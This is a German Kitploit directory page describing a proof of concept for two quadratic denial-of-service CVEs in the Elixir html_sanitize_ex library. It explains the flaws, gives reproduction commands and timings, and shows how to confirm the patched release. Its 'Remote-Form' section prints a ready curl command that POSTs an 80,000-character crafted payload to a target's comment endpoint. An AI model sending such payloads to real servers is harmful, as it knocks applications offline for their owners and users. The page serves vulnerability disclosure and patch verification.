Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex — PoC, der eine quadratische DoS in Elixir html_sanitize_ex über präpariertes HTML demonstriert; enthält Timing-Benchmarks, Remote-Exploitation per curl und Verifizierung gegen gepatchte Versionen. | Kitploit
Tools/GitHubGitHub/hunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitAdversarial-Angriff
GitHubhunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PoC, der eine quadratische DoS in Elixir html_sanitize_ex über präpariertes HTML demonstriert; enthält Timing-Benchmarks, Remote-Exploitation per curl und Verifizierung gegen gepatchte Versionen.

Repository anzeigen
vor 7 TagenNoch nicht geprüft

CVE-2026-68749 / CVE-2026-68750 — PoC

Quadratischer Denial-of-Service in html_sanitize_ex < 1.5.3.

Die Bibliothek dient dazu, nicht vertrauenswürdiges HTML zu neutralisieren, doch zwei unabhängige superlineare Codepfade ermöglichen es einer einzigen präparierten Anfrage, einen BEAM-Scheduler für Sekunden zu blockieren. Eine Handvoll paralleler Anfragen sättigt den Scheduler-Pool, und die Anwendung reagiert nicht mehr. Die Auswirkung betrifft ausschließlich die Verfügbarkeit (CVSS 8.2 Hoch).

CVEKomponenteSchwachstelleAuslöser
CVE-2026-68749HtmlSanitizeEx.Scrubber.CSS.scrub/1CWE-1333 (Regex-Backtracking)lange <style>-Abfolge von Wortzeichen mit einem nachgestellten :
CVE-2026-68750HtmlSanitizeEx.Traverser.traverse/2CWE-407 (quadratische Traversierung)flache Abfolge erlaubter Geschwister-Tags (z. B. <b>a</b> × 20.000)

CVE-2026-68749 ist nur über html5/1 erreichbar (oder über einen benutzerdefinierten Scrubber, der :html5 erweitert). CVE-2026-68750 ist über jeden öffentlichen Einstiegspunkt erreichbar, einschließlich basic_html/1, markdown_html/1 und strip_tags/1.

Layout

root@kitploit:~
mix.exs     # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs     # generates both payloads and times them

Reproduktion

Voraussetzungen: Elixir ≥ 1.14 und eine Internetverbindung (um die Hex-Abhängigkeit zu laden).

root@kitploit:~
mix deps.get          # fetches html_sanitize_ex 1.5.2
mix run poc.exs       # runs both demos and prints timings

Erwartet auf dem verwundbaren 1.5.2-Build — die Angriffszeiten übertreffen die harmlosen bei Weitem. Das Muster sieht wie folgt aus (illustrativ; die absoluten Werte hängen von der Hardware ab, aber die beiden Angriffs-Ankerwerte stammen direkt aus den EEF-CNA-Advisories):

root@kitploit:~
=== html_sanitize_ex 1.5.2 ===

CVE-2026-68749  — CSS scrubber (html5/1), 80000 chars of 'a'
  benign  (…a!):         ~  milliseconds   (returns near-instantly)
  attack  (…a!:):        ~ 2.4 seconds     (thousands of x slower)
  diff is a single ':' character

CVE-2026-68750  — traverser (basic_html/1), <b>a</b> siblings
   2,000 siblings:       ~  milliseconds
  20,000 siblings:       ~ 1.7 seconds     (10x input -> far more than 10x work)
  ratio > 10 reveals super-linear growth

Der Kernpunkt ist das Verhältnis: Der Angriff ist um Größenordnungen langsamer als eine harmlose Eingabe vergleichbarer Größe, und die 10-fache Eingabe kostet weit mehr als die 10-fache Arbeit. Die Werte 2,4 s (80 KB <style>) und 1,7 s (20.000 Geschwister) stammen aus den Upstream-Advisories.

Den Fix bestätigen

Bearbeite mix.exs und erhöhe die gepinnte Version auf den gepatchten Release:

root@kitploit:~
@vulnerable_version "1.5.3"   # or later — 1.5.3 contains both fixes

Danach erneut ausführen:

root@kitploit:~
mix deps.update html_sanitize_ex
mix run poc.exs

Mit 1.5.3 fallen die Zeiten für harmlose und Angriffs-Eingaben in dieselbe Größenordnung, weil der Fix die Regex-Gruppe begrenzt ([-\w]+ → [-\w]{1,64}) und den Traverser auf ein einzelnes Enum.reduce + ein List.flatten/1 umstellt (O(n²) → O(n)).

Remote-Form

In einer echten Phoenix-App passieren diese Aufrufe überall dort, wo der Server vom Benutzer gelieferte Rich-Text-Inhalte bereinigt. Der Angreifer schickt den Payload einfach per POST als Feldwert — keine Authentifizierung nötig:

root@kitploit:~
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"

Acht solcher paralleler Anfragen blockieren auf einem 8-Kern-Host alle acht BEAM-Scheduler.

Referenzen

  • EEF-CNA-Advisory (68749): https://cna.erlef.org/cves/CVE-2026-68749.html
  • EEF-CNA-Advisory (68750): https://cna.erlef.org/cves/CVE-2026-68750.html
  • Fix-Commit (68749): https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133
  • Fix-Commit (68750): https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

Nur für Bildungszwecke / autorisierte Tests.

Tool herunterladen